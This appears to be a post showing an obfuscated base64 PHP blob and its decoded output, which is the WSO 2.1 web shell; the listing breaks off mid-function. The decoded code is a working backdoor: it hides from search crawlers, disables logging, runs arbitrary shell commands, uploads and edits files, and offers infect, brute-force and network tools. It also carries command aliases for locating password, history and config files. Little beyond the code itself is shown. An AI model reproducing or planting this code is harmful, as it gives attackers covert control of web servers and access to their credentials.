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')));


The decoder gave me the following output,



   1: ?><?php/* WSO 2.1 (Web Shell by oRb) */
   2: $auth_pass = "161498ff7b638f5e5c0d5e32fab5470b";
   3: $color = "#df5";
   4: $default_action = 'FilesMan';
   5: @define('SELF_PATH', __FILE__);
   6: if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) 
   7: {    header('HTTP/1.0 404 Not Found');    exit;}@session_start();@error_reporting(0);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);
   8: @define('VERSION', '2.1');
   9: if( get_magic_quotes_gpc() ) {    function stripslashes_array($array) {        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);    }    $_POST = stripslashes_array($_POST);}function printLogin() {    ?>    <center>    <form method=post>    Password: <input type=password name=pass><input type=submit value='>>'>    </form></center>    <?php    exit;}if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))    if( empty( $auth_pass ) ||        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;    else        printLogin();if( strtolower( substr(PHP_OS,0,3) ) == "win" )    $os = 'win';else    $os = 'nix';$safe_mode = @ini_get('safe_mode');$disable_functions = @ini_get('disable_functions');$home_cwd = @getcwd();if( isset( $_POST['c'] ) )    @chdir($_POST['c']);$cwd = @getcwd();if( $os == 'win') {    $home_cwd = str_replace("\\", "/", $home_cwd);    $cwd = str_replace("\\", "/", $cwd);}if( $cwd[strlen($cwd)-1] != '/' )    $cwd .= '/';    if($os == 'win')    $aliases = array(        "List Directory" => "dir",        "Find index.php in current dir" => "dir /s /w /b index.php",        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",        "Show active connections" => "netstat -an",        "Show running services" => "net start",        "User accounts" => "net user",        "Show computers" => "net view",        "ARP Table" => "arp -a",        "IP Configuration" => "ipconfig /all"    );else    $aliases = array(          "List dir" => "ls -la",        "list file attributes on a Linux second extended file system" => "lsattr -va",          "show opened ports" => "netstat -an | grep -i listen",        "Find" => "",          "find all suid files" => "find / -type f -perm -04000 -ls",          "find suid files in current dir" => "find . -type f -perm -04000 -ls",          "find all sgid files" => "find / -type f -perm -02000 -ls",          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",          "find config.inc.php files" => "find / -type f -name config.inc.php",          "find config* files" => "find / -type f -name \"config*\"",          "find config* files in current dir" => "find . -type f -name \"config*\"",          "find all writable folders and files" => "find / -perm -2 -ls",          "find all writable folders and files in current dir" => "find . -perm -2 -ls",          "find all service.pwd files" => "find / -type f -name service.pwd",          "find service.pwd files in current dir" => "find . -type f -name service.pwd",          "find all .htpasswd files" => "find / -type f -name .htpasswd",          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",          "find all .bash_history files" => "find / -type f -name .bash_history",          "find .bash_history files in current dir" => "find . -type f -name .bash_history",          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",        "Locate" => "",          "locate httpd.conf files" => "locate httpd.conf",        "locate vhosts.conf files" => "locate vhosts.conf",        "locate proftpd.conf files" => "locate proftpd.conf",        "locate psybnc.conf files" => "locate psybnc.conf",        "locate my.conf files" => "locate my.conf",        "locate admin.php files" =>"locate admin.php",        "locate cfg.php files" => "locate cfg.php",        "locate conf.php files" => "locate conf.php",        "locate config.dat files" => "locate config.dat",        "locate config.php files" => "locate config.php",        "locate config.inc files" => "locate config.inc",        "locate config.inc.php" => "locate config.inc.php",        "locate config.default.php files" => "locate config.default.php",        "locate config* files " => "locate config",        "locate .conf files"=>"locate '.conf'",        "locate .pwd files" => "locate '.pwd'",        "locate .sql files" => "locate '.sql'",        "locate .htpasswd files" => "locate '.htpasswd'",        "locate .bash_history files" => "locate '.bash_history'",        "locate .mysql_history files" => "locate '.mysql_history'",        "locate .fetchmailrc files" => "locate '.fetchmailrc'",        "locate backup files" => "locate backup",        "locate dump files" => "locate dump",        "locate priv files" => "locate priv"        );function printHeader() {    if(empty($_POST['charset']))        $_POST['charset'] = "UTF-8";    global $color;    ?><html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title><style>    body {background-color:#444;color:#e1e1e1;}    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }    table.info    { color:#fff;background-color:#222; }    span,h1,a    { color:<?=$color?> !important; }    span        { font-weight: bolder; }    h1            { border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }    div.content    { padding: 5px;margin-left:5px;background-color:#333; }    a            { text-decoration:none; }    a:hover        { text-decoration:underline; }    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }    .bigarea    { width:100%;height:250px; }    input, textarea, select    { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }    form        { margin:0px; }    #toolsTbl    { text-align:center; }    .toolsInp    { width: 300px }    .main th    {text-align:left;background-color:#5e5e5e;}    .main tr:hover{background-color:#5e5e5e}    .main td, th{vertical-align:middle}    .l1            {background-color:#444}    pre            {font-family:Courier,Monospace;}</style><script>    function set(a,c,p1,p2,p3,charset) {        if(a != null)document.mf.a.value=a;        if(c != null)document.mf.c.value=c;        if(p1 != null)document.mf.p1.value=p1;        if(p2 != null)document.mf.p2.value=p2;        if(p3 != null)document.mf.p3.value=p3;        if(charset != null)document.mf.charset.value=charset;    }    function g(a,c,p1,p2,p3,charset) {        set(a,c,p1,p2,p3,charset);        document.mf.submit();    }    function a(a,c,p1,p2,p3,charset) {        set(a,c,p1,p2,p3,charset);        var params = "ajax=true";        for(i=0;i<document.mf.elements.length;i++)            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);        sr('<?=$_SERVER['REQUEST_URI'];?>', params);    }    function sr(url, params) {            if (window.XMLHttpRequest) {            req = new XMLHttpRequest();            req.onreadystatechange = processReqChange;            req.open("POST", url, true);            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");            req.send(params);        }         else if (window.ActiveXObject) {            req = new ActiveXObject("Microsoft.XMLHTTP");            if (req) {                req.onreadystatechange = processReqChange;                req.open("POST", url, true);                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");                req.send(params);            }        }    }    function processReqChange() {        if( (req.readyState == 4) )            if(req.status == 200) {                //alert(req.responseText);                var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");                var arr=reg.exec(req.responseText);                eval(arr[2].substr(0, arr[1]));            }             else alert("Request error!");    }</script><head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;"><form method=post name=mf style='display:none;'><input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'><input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'><input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'><input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'><input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'><input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'></form><?php    $freeSpace = @diskfreespace($GLOBALS['cwd']);    $totalSpace = @disk_total_space($GLOBALS['cwd']);    $totalSpace = $totalSpace?$totalSpace:1;    $release = @php_uname('r');    $kernel = @php_uname('s');    $millink='http://milw0rm.com/search.php?dong=';    if( strpos('Linux', $kernel) !== false )        $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );    else        $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );    if(!function_exists('posix_getegid')) {        $user = @get_current_user();        $uid = @getmyuid();        $gid = @getmygid();        $group = "?";    } else {        $uid = @posix_getpwuid(@posix_geteuid());        $gid = @posix_getgrgid(@posix_getegid());        $user = $uid['name'];        $uid = $uid['uid'];        $group = $gid['name'];        $gid = $gid['gid'];    }    $cwd_links = '';    $path = explode("/", $GLOBALS['cwd']);    $n=count($path);    for($i=0;$i<$n-1;$i++) {        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";        for($j=0;$j<=$i;$j++)            $cwd_links .= $path[$j].'/';        $cwd_links .= "\")'>".$path[$i]."/</a>";    }    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');    $opt_charsets = '';    foreach($charsets as $item)        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');    if(!empty($GLOBALS['auth_pass']))    $m['Logout'] = 'Logout';    $m['Self remove'] = 'SelfRemove';    $menu = '';    foreach($m as $k => $v)        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';    $drives = "";    if ($GLOBALS['os'] == 'win') {        foreach( range('a','z') as $drive )        if (is_dir($drive.':\\'))            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';    }    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.         '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.         '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.         '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';}function printFooter() {    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";?></div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style="border-top:2px solid #333;border-bottom:2px solid #333;">    <tr>        <td><form onSubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>        <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>    </tr>    <tr>        <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>        <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>    </tr>    <tr>        <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>        <td><form method='post' ENCTYPE='multipart/form-data'>        <input type=hidden name=a value='FilesMAn'>        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>        <input type=hidden name=p1 value='uploadFile'>        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>    </tr></table></div></body></html><?php}if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }function ex($in) {    $out = '';    if(function_exists('exec')) {        @exec($in,$out);        $out = @join("\n",$out);    }elseif(function_exists('passthru')) {        ob_start();        @passthru($in);        $out = ob_get_clean();    }elseif(function_exists('system')) {        ob_start();        @system($in);        $out = ob_get_clean();    }elseif(function_exists('shell_exec')) {        $out = shell_exec($in);    }elseif(is_resource($f = @popen($in,"r"))) {        $out = "";        while(!@feof($f))            $out .= fread($f,1024);        pclose($f);    }    return $out;}function viewSize($s) {    if($s >= 1073741824)        return sprintf('%1.2f', $s / 1073741824 ). ' GB';    elseif($s >= 1048576)        return sprintf('%1.2f', $s / 1048576 ) . ' MB';    elseif($s >= 1024)        return sprintf('%1.2f', $s / 1024 ) . ' KB';    else        return $s . ' B';}function perms($p) {    if (($p & 0xC000) == 0xC000)$i = 's';    elseif (($p & 0xA000) == 0xA000)$i = 'l';    elseif (($p & 0x8000) == 0x8000)$i = '-';    elseif (($p & 0x6000) == 0x6000)$i = 'b';    elseif (($p & 0x4000) == 0x4000)$i = 'd';    elseif (($p & 0x2000) == 0x2000)$i = 'c';    elseif (($p & 0x1000) == 0x1000)$i = 'p';    else $i = 'u';    $i .= (($p & 0x0100) ? 'r' : '-');    $i .= (($p & 0x0080) ? 'w' : '-');    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));    $i .= (($p & 0x0020) ? 'r' : '-');    $i .= (($p & 0x0010) ? 'w' : '-');    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));    $i .= (($p & 0x0004) ? 'r' : '-');    